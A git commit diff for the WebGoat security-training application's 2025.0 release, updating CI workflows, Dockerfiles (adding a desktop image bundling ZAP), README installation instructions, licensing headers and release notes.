chore: new release 2025.0

Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.11.0 to 3.12.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.11.0...3.12.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

.dockerignore

@@ -1,3 +1,4 @@
 **
 
 !/target
+!/config/desktop

.github/dependabot.yml

@@ -1,7 +1,14 @@
 version: 2
 updates:
-  # Maintain dependencies for GitHub Actions
     -   package-ecosystem: "github-actions"
         directory: "/"
         schedule:
-      interval: "daily"
+            interval: "weekly"
+    -   package-ecosystem: "maven"
+        directory: "/"
+        schedule:
+            interval: "weekly"
+    -   package-ecosystem: "docker"
+        directory: "/"
+        schedule:
+            interval: "weekly"

.github/workflows/branchbuild.txt

@@ -0,0 +1,54 @@
+name: "Branch build"
+on:
+    push:
+      branches:
+        - "*"
+        - "!main"
+
+jobs:
+    branch-build:
+        runs-on: ${{ matrix.os }}
+        strategy:
+            matrix:
+                os: [ ubuntu-latest, windows-latest, macos-latest ]
+                java-version: [ 21 ]
+        steps:
+            -   uses: actions/checkout@v4
+            -   name: Set up JDK ${{ matrix.java-version }}
+                uses: actions/setup-java@v4
+                with:
+                    distribution: 'temurin'
+                    java-version: ${{ matrix.java-version }}
+                    architecture: x64
+            -   name: Cache Maven packages
+                uses: actions/cache@v3.3.1
+                with:
+                    path: ~/.m2
+                    key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
+                    restore-keys: ${{ runner.os }}-m2-
+            -   name: Build with Maven
+                run: mvn --no-transfer-progress verify
+            -   name: "Set up QEMU"
+                if: runner.os == 'Linux'
+                uses: docker/setup-qemu-action@v2.2.0
+            -   name: "Set up Docker Buildx"
+                if: runner.os == 'Linux'
+                uses: docker/setup-buildx-action@v2
+            -   name: "Verify Docker WebGoat build"
+                if: runner.os == 'Linux'
+                uses: docker/build-push-action@v5.1.0
+                with:
+                    context: ./
+                    file: ./Dockerfile
+                    push: false
+                    build-args: |
+                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
+            -   name: "Verify Docker WebGoat desktop build"
+                uses: docker/build-push-action@v5.1.0
+                if: runner.os == 'Linux'
+                with:
+                    context: ./
+                    file: ./Dockerfile_desktop
+                    push: false
+                    build-args: |
+                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}

.github/workflows/build.yml

@@ -1,68 +1,51 @@
-name: "Build"
+name: "Main / Pull requests build"
 on:
     pull_request:
         paths-ignore:
             - '.txt'
             - 'LICENSE'
             - 'docs/**'
+        branches: [ main ]
     push:
         branches:
             - main
-      - develop
-      - release/*
-    tags-ignore:
-      - '*'
-    paths-ignore:
-      - '.txt'
-      - 'LICENSE'
-      - 'docs/**'
 
 jobs:
-  pr-build:
+    pre-commit:
-    if: >
+        name: Pre-commit check
-      github.event_name == 'pull_request' && !github.event.pull_request.draft && (
+        runs-on: ubuntu-latest
-        github.event.action == 'opened' ||
-        github.event.action == 'reopened' ||
-        github.event.action == 'synchronize' 
-      )
-    runs-on: ${{ matrix.os }}
-    strategy:
-      matrix:
-        os: [ubuntu-latest, windows-latest, macos-latest]
         steps:
-      - uses: actions/checkout@v3
+            -   name: Checkout git repository
-      - name: Set up JDK 17
+                uses: actions/checkout@v4.1.6
-        uses: actions/setup-java@v3
+            -   name: Setup python
+                uses: actions/setup-python@v5
+                with:
+                    python-version: "3.9"
+            -   uses: actions/setup-java@v4
                 with:
                     distribution: 'temurin'
-          java-version: 17
+                    java-version: '23'
-          architecture: x64
+            -   name: Pre-commit checks
-      - name: Cache Maven packages
+                uses: pre-commit/action@v3.0.1
-        uses: actions/cache@v3.2.2
+            -   name: pre-commit-c-lite
+                uses: pre-commit-ci/lite-action@v1.1.0
+                if: always()
+    build:
+        runs-on: ${{ matrix.os }}
+        needs: [ pre-commit ]
+        strategy:
+            fail-fast: true
+            matrix:
+                os: [ windows-latest, ubuntu-latest, macos-13 ]
+            max-parallel: 1
+        steps:
+            -   uses: actions/checkout@v4.1.6
+            -   name: Set up JDK 23
+                uses: actions/setup-java@v4.2.1
                 with:
-          path: ~/.m2
+                    distribution: 'temurin'
-          key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
+                    java-version: 23
-          restore-keys: ${{ runner.os }}-m2-
+                    architecture: x64
+                    cache: 'maven'
             -   name: Build with Maven
                 run: mvn --no-transfer-progress verify
-
-  build:
-    if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push'
-    runs-on: ubuntu-latest
-    name: "Branch build"
-    steps:
-        - uses: actions/checkout@v3
-        - name: set up JDK 17
-          uses: actions/setup-java@v3
-          with:
-              distribution: 'temurin'
-              java-version: 17
-              architecture: x64
-        - name: Cache Maven packages
-          uses: actions/cache@v3.2.2
-          with:
-              path: ~/.m2
-              key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
-              restore-keys: ubuntu-latest-m2-
-        - name: Test with Maven
-          run: mvn --no-transfer-progress verify

.github/workflows/release.yml

@@ -8,33 +8,25 @@ jobs:
     if: github.repository == 'WebGoat/WebGoat'
     name: Release WebGoat
     runs-on: ubuntu-latest
+    permissions:
+        contents: write
     environment:
       name: release
     steps:
-      - uses: actions/checkout@v3
+      - uses: actions/checkout@v4
 
-      - name: "Get tag name"
+      - name: Set up JDK 23
-        id: tag
+        uses: actions/setup-java@v4
-        uses: dawidd6/action-get-tag@v1
-
-      - name: Set up JDK 17
-        uses: actions/setup-java@v3
         with:
-          distribution: 'zulu'
+          distribution: 'temurin'
-          java-version: 17
+          java-version: 23
           architecture: x64
-
+          cache: 'maven'
-      - name: Cache Maven packages
-        uses: actions/cache@v3.2.2
-        with:
-          path: ~/.m2
-          key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
-          restore-keys: ${{ runner.os }}-m2
 
       - name: "Set labels for ${{ github.ref }}"
         run: |
-          echo "WEBGOAT_TAG_VERSION=${{ steps.tag.outputs.tag }}" >> $GITHUB_ENV
+          echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
-          WEBGOAT_MAVEN_VERSION=${{ steps.tag.outputs.tag }}
+          WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
           echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
       - name: Build with Maven
         run: |
@@ -48,7 +40,7 @@ jobs:
           files: |
             target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
           body: |
-            ## Version ${{ steps.tag.outputs.tag }}
+           ## Version ${{ github.ref_name }}
 
             ### New functionality
 
@@ -58,7 +50,7 @@ jobs:
 
             - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
 
-            Full change log: https://github.com/WebGoat/WebGoat/compare/${{ steps.tag.outputs.tag }}...${{ steps.tag.outputs.tag }}  
+            Full change log: https://github.com/WebGoat/WebGoat/compare/${{ github.ref_name }}...${{ github.ref_name }}
 
 
             ## Contributors
@@ -76,63 +68,76 @@ jobs:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
 
       - name: "Set up QEMU"
-        uses: docker/setup-qemu-action@v2.1.0
+        uses: docker/setup-qemu-action@v3.4.0
         with:
           platforms: all
 
       - name: "Set up Docker Buildx"
-        uses: docker/setup-buildx-action@v2
+        uses: docker/setup-buildx-action@v3
 
       - name: "Login to dockerhub"
-        uses: docker/login-action@v2.1.0
+        uses: docker/login-action@v3.3.0
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
-      - name: "Build and push"
+      - name: "Build and push WebGoat"
-        uses: docker/build-push-action@v3.2.0
+        uses: docker/build-push-action@v6.14.0
         with:
           context: ./
           file: ./Dockerfile
           push: true
-          platforms: linux/amd64, linux/arm64, linux/arm/v7
+          platforms: linux/amd64, linux/arm64
           tags: |
             webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }}
             webgoat/webgoat:latest
           build-args: |
             webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
 
-      - name: "Image digest"
+      - name: "Build and push WebGoat desktop"
-        run: echo ${{ steps.docker_build.outputs.digest }}
+        uses: docker/build-push-action@v6.14.0
+        with:
+          context: ./
+          file: ./Dockerfile_desktop
+          push: true
+          platforms: linux/amd64, linux/arm64
+          tags: |
+            webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
+            webgoat/webgoat-desktop:latest
+          build-args: |
+            webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
   new_version:
-    permissions:
-      contents: write  # for Git to git push
     if: github.repository == 'WebGoat/WebGoat'
-    name: Update development version
+    name: Update to next SNAPSHOT version
     needs: [ release ]
     runs-on: ubuntu-latest
-    environment:
-      name: release
     steps:
-      - uses: actions/checkout@v3
+      - uses: actions/checkout@v4
         with:
-          ref: develop
+          fetch-depth: 0
-          token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
 
-      - name: Set up JDK 17
+      - name: Set up JDK 23
-        uses: actions/setup-java@v3
+        uses: actions/setup-java@v4
         with:
-          java-version: 17
+          distribution: 'temurin'
+          java-version: 23
           architecture: x64
 
       - name: Set version to next snapshot
         run: |
-          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit
+          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
 
-      - name: Commit pom.xml
+      - name: Push the changes to new branch
-        run: |
+        uses: devops-infra/action-commit-push@v0.10.0
-          git config user.name webgoat-github
+        with:
-          git config user.email owasp.webgoat@gmail.com
+            github_token: "${{ secrets.GITHUB_TOKEN }}"
-          find . -name 'pom.xml' | xargs git add
+            add_timestamp: true
-          git commit -m "Updating to the new development version"
+            commit_message: "Updating to the new development version"
-          git push
+            force: false
+
+      - name: Create PR
+        uses: devops-infra/action-pull-request@v0.6.0
+        with:
+            github_token: "${{ secrets.GITHUB_TOKEN }}"
+            title: ${{ github.event.commits[0].message }}
+            target_branch: main

.github/workflows/test.yml

@@ -1,68 +0,0 @@
-name: "UI-Test"
-on:
-    pull_request:
-        paths-ignore:
-            - '.txt'
-            - '*.MD'
-            - '*.md'
-            - 'LICENSE'
-            - 'docs/**'
-    push:
-#        tags-ignore:
-#            - '*'
-        paths-ignore:
-            - '.txt'
-            - '*.MD'
-            - '*.md'
-            - 'LICENSE'
-            - 'docs/**'
-
-jobs:
-    build:
-        runs-on: ubuntu-latest
-        # display name of the job
-        name: "Robot framework test"
-        steps:
-            # Uses an default action to checkout the code
-            - uses: actions/checkout@v3
-            # Uses an action to add Python to the VM
-            - name: Setup Pyton
-              uses: actions/setup-python@v4
-              with:
-                  python-version: '3.7'
-                  architecture: x64
-            # Uses an action to add JDK 17 to the VM (and mvn?)
-            - name: set up JDK 17
-              uses: actions/setup-java@v3
-              with:
-                  distribution: 'temurin'
-                  java-version: 17
-                  architecture: x64
-            #Uses an action to set up a cache using a certain key based on the hash of the dependencies
-            - name: Cache Maven packages
-              uses: actions/cache@v3.2.2
-              with:
-                  path: ~/.m2
-                  key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
-                  restore-keys: ubuntu-latest-m2-
-            - uses: BSFishy/pip-action@v1
-              with:
-                  packages: |
-                      robotframework
-                      robotframework-SeleniumLibrary
-                      webdriver-manager
-            - name: Run with Maven
-              run: mvn --no-transfer-progress spring-boot:run &
-            - name: Wait to start
-              uses: ifaxity/wait-on-action@v1
-              with:
-                  resource: http://127.0.0.1:8080/WebGoat
-            - name: Test with Robotframework
-              run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot
-            # send report to forks only due to limits on permission tokens
-            - name: Send report to commit
-              if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
-              uses: joonvena/robotframework-reporter-action@v2.1
-              with:
-                  gh_access_token: ${{ secrets.GITHUB_TOKEN }}
-                  report_path: 'robotreport'

.github/workflows/welcome.yml

@@ -10,7 +10,7 @@ jobs:
     if: github.repository == 'WebGoat/WebGoat'
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/first-interaction@v1.1.1
+      - uses: actions/first-interaction@v1.3.0
         with:
           repo-token: ${{ secrets.GITHUB_TOKEN }}
           issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'

.gitignore

@@ -57,3 +57,8 @@ TestClass.class
 /.gitconfig
 
 webgoat.gitconfig
+node_modules/
+/test-results/
+/playwright-report/
+/blob-report/
+/playwright/.cache/

.pre-commit-config.yaml

@@ -0,0 +1,28 @@
+ci:
+  autofix_commit_msg: |
+    [pre-commit.ci] auto fixes from pre-commit.com hooks
+  autofix_prs: false # managed in the action step
+  autoupdate_branch: ""
+  autoupdate_commit_msg: "[pre-commit.ci] pre-commit autoupdate"
+  autoupdate_schedule: weekly
+  skip: []
+  submodules: false
+repos:
+  - repo: https://github.com/pre-commit/pre-commit-hooks
+    rev: v4.4.0
+    hooks:
+      - id: check-yaml
+      - id: end-of-file-fixer
+        exclude: ^(README.md|CREATE_RELEASE.md)
+      - id: trailing-whitespace
+  - repo: https://github.com/alessandrojcm/commitlint-pre-commit-hook
+    rev: v9.5.0
+    hooks:
+      - id: commitlint
+        stages: [commit-msg]
+  - repo: https://github.com/ejba/pre-commit-maven
+    rev: v0.3.4
+    hooks:
+      - id: maven
+        args: [ 'clean compile' ]
+      - id: maven-spotless-apply

CONTRIBUTING.md

@@ -3,6 +3,7 @@
 [![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors)
 ![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg)
 ![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg)
+[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
 
 This document describes how you can contribute to WebGoat. Please read it carefully.
 
@@ -41,6 +42,19 @@ Pull requests should be as small/atomic as possible. Large, wide-sweeping change
 
 ### Write a good commit message
 
+* We use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) and use the following types:
+
+  - fix:
+  - feat:
+  - build:
+  - chore:
+  - ci:
+  - docs:
+  - refactor:
+  - test:
+
+  Using this style of commits makes it possible to create our release notes automatically.
+
 * Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
 
 * If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
@@ -86,7 +100,7 @@ For example: `Fix #545` or `Closes #10`
 
     ```bash
     $ git fetch upstream
-    $ git merge upstream/develop
+    $ git merge upstream/main
     ```
 
     See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".

COPYRIGHT.txt

@@ -1,6 +1,9 @@
 This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
 
-Copyright (c) 2002 - $today.year Bruce Mayhew
+SPDX-License-Identifier: GPL-2.0-or-later
+
+Copyright (c) 2002 - 2016        Bruce Mayhew
+Copyright (c) 2014 - $today.year Nanne Baars
 
 This program is free software; you can redistribute it and/or modify it under the terms of the
 GNU General Public License as published by the Free Software Foundation; either version 2 of the

CREATE_RELEASE.md

@@ -2,31 +2,20 @@
 
 ### Version numbers
 
-For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
+For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
-and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use
+and 2023.01 in the `pom.xml`.
-`v8.0.0` in the `pom.xml`
 
 ### Release notes:
 
-Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of
+Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
-committers.
+committers. In order to fetch the list of issues included use: `git log --graph --pretty='%C(auto)%d%Creset%s' v2023.4..origin/main`
-
-At the moment we use Gitflow, for a release you create a new release branch and take the following steps:
 
 ```
-git checkout develop
+mvn versions:set
-git flow release start <version>
+<< update release notes >>
-git flow release publish
+mvn verify
-
+git commit ....
-<<Make changes if necessary>>
+git tag v2023.01
-<<Update RELEASE_NOTES.md>>
-
-git flow release finish <version>
-git push origin develop
-git push origin main
 git push --tags
 ```
 
-Now Travis takes over and will create the release in Github and on Docker Hub.
-
-NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version

Dockerfile

@@ -1,8 +1,13 @@
-FROM docker.io/eclipse-temurin:17-jre-focal
+# We need JDK as some of the lessons needs to be able to compile Java code
+FROM docker.io/eclipse-temurin:23-jdk-noble
 
-RUN useradd -ms /bin/bash webgoat
+LABEL name="WebGoat: A deliberately insecure Web Application"
-RUN chgrp -R 0 /home/webgoat
+LABEL maintainer="WebGoat team"
-RUN chmod -R g=u /home/webgoat
+
+RUN \
+  useradd -ms /bin/bash webgoat && \
+  chgrp -R 0 /home/webgoat && \
+  chmod -R g=u /home/webgoat
 
 USER webgoat
 
@@ -11,6 +16,8 @@ COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
 EXPOSE 8080
 EXPOSE 9090
 
+ENV TZ=Europe/Amsterdam
+
 WORKDIR /home/webgoat
 ENTRYPOINT [ "java", \
    "-Duser.home=/home/webgoat", \
@@ -24,9 +31,10 @@ ENTRYPOINT [ "java", \
    "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
    "--add-opens", "java.base/java.io=ALL-UNNAMED", \
    "--add-opens", "java.base/java.util=ALL-UNNAMED", \
+   "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.io=ALL-UNNAMED", \
    "-Drunning.in.docker=true", \
-   "-Dwebgoat.host=0.0.0.0", \
+   "-jar", "webgoat.jar", "--server.address", "0.0.0.0" ]
-   "-Dwebwolf.host=0.0.0.0", \
+
-   "-Dwebgoat.port=8080", \
+HEALTHCHECK --interval=5s --timeout=3s \
-   "-Dwebwolf.port=9090", \
+  CMD curl --fail http://localhost:8080/WebGoat/actuator/health || exit 1
-   "-jar", "webgoat.jar" ]

Dockerfile_desktop

@@ -0,0 +1,47 @@
+FROM lscr.io/linuxserver/webtop:ubuntu-xfce
+LABEL name="WebGoat: A deliberately insecure Web Application"
+LABEL maintainer="WebGoat team"
+
+WORKDIR /config
+
+COPY target/webgoat-*.jar /config/webgoat.jar
+COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
+COPY config/desktop/start_zap.sh /config/start_zap.sh
+COPY config/desktop/WebGoat.txt /config/Desktop/
+
+RUN \
+ apt-get update &&  \
+ apt-get --yes install vim nano gzip
+
+RUN \
+ case $(uname -m) in \
+  x86_64) ARCH=x64;; \
+  aarch64) ARCH=aarch64;; \
+  *) ARCH=unknown;; \
+ esac && \
+ echo ${ARCH}
+
+RUN \
+ curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.15.0/ZAP_2.15.0_Linux.tar.gz && \
+ tar zfxv ZAP_2.15.0_Linux.tar.gz && \
+ rm -rf ZAP_2.15.0_Linux.tar.gz
+
+RUN \
+ case $(uname -m) in \
+  x86_64) ARCH=x64;; \
+  aarch64) ARCH=aarch64;; \
+  *) ARCH=unknown;; \
+ esac && \
+ echo "oeps == ${ARCH}==" && \
+ curl -L https://github.com/adoptium/temurin23-binaries/releases/download/jdk-23.0.1%2B11/OpenJDK23U-jre_"${ARCH}"_linux_hotspot_23.0.1_11.tar.gz -o java.tar.gz && \
+ tar zfxv java.tar.gz && \
+ rm -rf java.tar.gz && \
+ chmod +x /config/start_webgoat.sh && \
+ chmod +x /config/start_zap.sh && \
+ mv /config/jdk-23.0.1+11-jre /config/java-jdk && \
+ echo "JAVA_HOME=/config/java-jdk/" >> .bash_aliases && \
+ echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
+
+ENV JAVA_HOME=/config/java-jdk
+
+WORKDIR /config/Desktop

FAQ.md

@@ -0,0 +1,7 @@
+# FAQ for development
+
+## Introduction
+
+### Integration tests fail
+
+Try to run the command in the console `java -jar ...` and remove `-Dlogging.pattern.console=` from the command line.

LICENSE.txt

@@ -1,6 +1,9 @@
 This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
 
-Copyright (c) 2002 - 2019 Bruce Mayhew
+SPDX-License-Identifier: GPL-2.0-or-later
+
+Copyright (c) 2002 - $today.year Bruce Mayhew
+Copyright (c) 2014 - $today.year Nanne Baars
 
 This program is free software; you can redistribute it and/or modify it under the terms of the
 GNU General Public License as published by the Free Software Foundation; either version 2 of the

README.md

@@ -1,11 +1,12 @@
-# WebGoat 8: A deliberately insecure Web Application
+# WebGoat: A deliberately insecure Web Application
 
 [![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml)
-[![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/)
+[![java-jdk](https://img.shields.io/badge/java%20jdk-23-green.svg)](https://jdk.java.net/)
 [![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/)
 [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
 [![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
 [![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions)
+[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
 
 # Introduction
 
@@ -27,51 +28,78 @@ you are caught engaging in unauthorized hacking, most companies will fire you.
 Claiming that you were doing security research will not work as that is the
 first thing that all hackers claim.*
 
+![WebGoat](docs/images/webgoat.png)
+
 # Installation instructions:
 
 For more details check [the Contribution guide](/CONTRIBUTING.md)
 
 ## 1. Run using Docker
 
+Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
+
 Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
 
-The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
-
 ```shell
-docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
 ```
 
-If you want to reuse the container, give it a name:
+For some lessons you need the container run in the same timezone. For this you can set the TZ environment variable.
+E.g.
 
 ```shell
-docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=America/Boise webgoat/webgoat
 ```
 
-As long as you don't remove the container you can use:
+If you want to use OWASP ZAP or another proxy, you can no longer use 127.0.0.1 or localhost. but
+you can use custom host entries. For example:
 
 ```shell
-docker start webgoat
+127.0.0.1 www.webgoat.local www.webwolf.local
 ```
 
-This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
+Then you can run the container with:
 
-**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
+```shell
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e WEBGOAT_HOST=www.webgoat.local -e WEBWOLF_HOST=www.webwolf.local -e TZ=America/Boise webgoat/webgoat
+```
 
-## 2. Standalone
+Then visit http://www.webgoat.local:8080/WebGoat/ and http://www.webwolf.local:9090/WebWolf/
+
+## 2. Run using Docker with complete Linux Desktop
+
+Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
+
+```shell
+docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
+```
+
+## 3. Standalone
 
 Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
 
 ```shell
-java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.3.jar
+export TZ=Europe/Amsterdam # or your timezone
+java -Dfile.encoding=UTF-8 -jar webgoat-2023.8.jar
 ```
 
 Click the link in the log to start WebGoat.
 
-## 3. Run from the sources
+### 3.1 Running on a different port
+
+If for some reason you want to run WebGoat on a different port, you can do so by adding the following parameter:
+
+```shell
+java -jar webgoat-2023.8.jar --webgoat.port=8001 --webwolf.port=8002
+```
+
+For a full overview of all the parameters you can use, please check the [WebGoat properties file](webgoat-container/src/main/resources/application-{webgoat, webwolf}.properties).
+
+## 4. Run from the sources
 
 ### Prerequisites:
 
-* Java 17
+* Java 17 or 21
 * Your favorite IDE
 * Git, or Git support in your IDE
 
@@ -96,7 +124,7 @@ git checkout <<branch_name>>
 docker build -f Dockerfile . -t webgoat/webgoat
 ```
 
-Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
+Now we are ready to run the project. WebGoat is using Spring Boot.
 
 ```Shell
 # On Linux/Mac:
@@ -123,14 +151,15 @@ For specialist only. There is a way to set up WebGoat with a personalized menu.
 For instance running as a jar on a Linux/macOS it will look like this:
 
 ```Shell
+export TZ=Europe/Amsterdam # or your timezone
 export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
 export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
-java -jar target/webgoat-2023.3-SNAPSHOT.jar
+java -jar target/webgoat-2023.8-SNAPSHOT.jar
 ```
 
 Or in a docker run it would (once this version is pushed into docker hub) look like this:
 
 ```Shell
-docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
+docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
 ```
 

README_I18N.md

@@ -17,18 +17,18 @@ The following steps are required when you want to add a new language
 1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html)
    1. Add the parts for showing the flag and providing the correct value for the flag= parameter
       2.
-3. Add a flag image to src/main/resources/webgoat/static/css/img
+2. Add a flag image to src/main/resources/webgoat/static/css/img
    1. See the main_new.html for a link to download flag resources
-4. Add a welcome page to the introduction lesson
+3. Add a welcome page to the introduction lesson
    1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish)
    2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable
-5. Translate the main labels
+4. Translate the main labels
    1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish)
    2. Translate the label values
-6. Optionally translate lessons by
+5. Optionally translate lessons by
    1. Adding lang specifc adoc files in documentation folder of the lesson
    2. Adding WebGoatLabels.properties of a specific language if you want to
-7. Run mvn clean to see if the LabelAndHintIntegration test passes
+6. Run mvn clean to see if the LabelAndHintIntegration test passes
-8. Run WebGoat and verify that your own language and the other languages work as expected
+7. Run WebGoat and verify that your own language and the other languages work as expected
 
 If you only want to translate more for a certain language, you only need to do step 4-8

RELEASE_NOTES.md

@@ -1,32 +1,158 @@
 # WebGoat release notes
 
+## Version 2025.0
+
+### 🚀 New functionality
+
+- Introduce Playwright for UI testing
+- Refactoring of core code
+
+### 🐞 Bug fixes
+
+- Introduce assignment progress (#2043)
+- Add test case for multiple users solving lessons (#2043)
+- Register user while already logged in as other user. (#2042)
+- Small updates and improvements in HTTP Basic lesson (#2024)
+- Improve HTTP basics lesson
+- Solve compiler warnings
+- Cleanup attack result and builder
+- Format all code according to SPDX
+- Fixed one invalid solution about CSRF attack (#2010)
+- Reset a lesson no longer removes all assignments
+- Hint labels showing default text regardless of localization (#1965)
+- Automatically solve XSS mitigation (#1957)
+- Remove implicit context path guessing (#1956)
+- JWT kid/jku lessons (#1949)
+- Fix password reset lesson (#1941)
+- Fix passing command line arguments (#1933)
+- Use banners correctly
+- Show boolean operators priority on `where` (#1902)
+- Remove WebGoat session object (#1929)
+- Reset form and quiz color on reset lesson (#1903)
+- XSS lesson typo
+- Copying file using `transferTo` sometimes fails. (#1862)
+- Fix report card (#1845)
+- Success if only Smith earn most salary (#1744)
+- Update HttpBasics_plan.adoc - fix broken link to https://www.zaproxy.org/ (#1803)
+- Move CSRF to A3 (#1776)
+- Fix typo in SQLi blind case
+- Use $ instead of jQuery which is undefined (#1736)
+- Fix hidden links in MissingFunctionAC.html. (#1710)
+
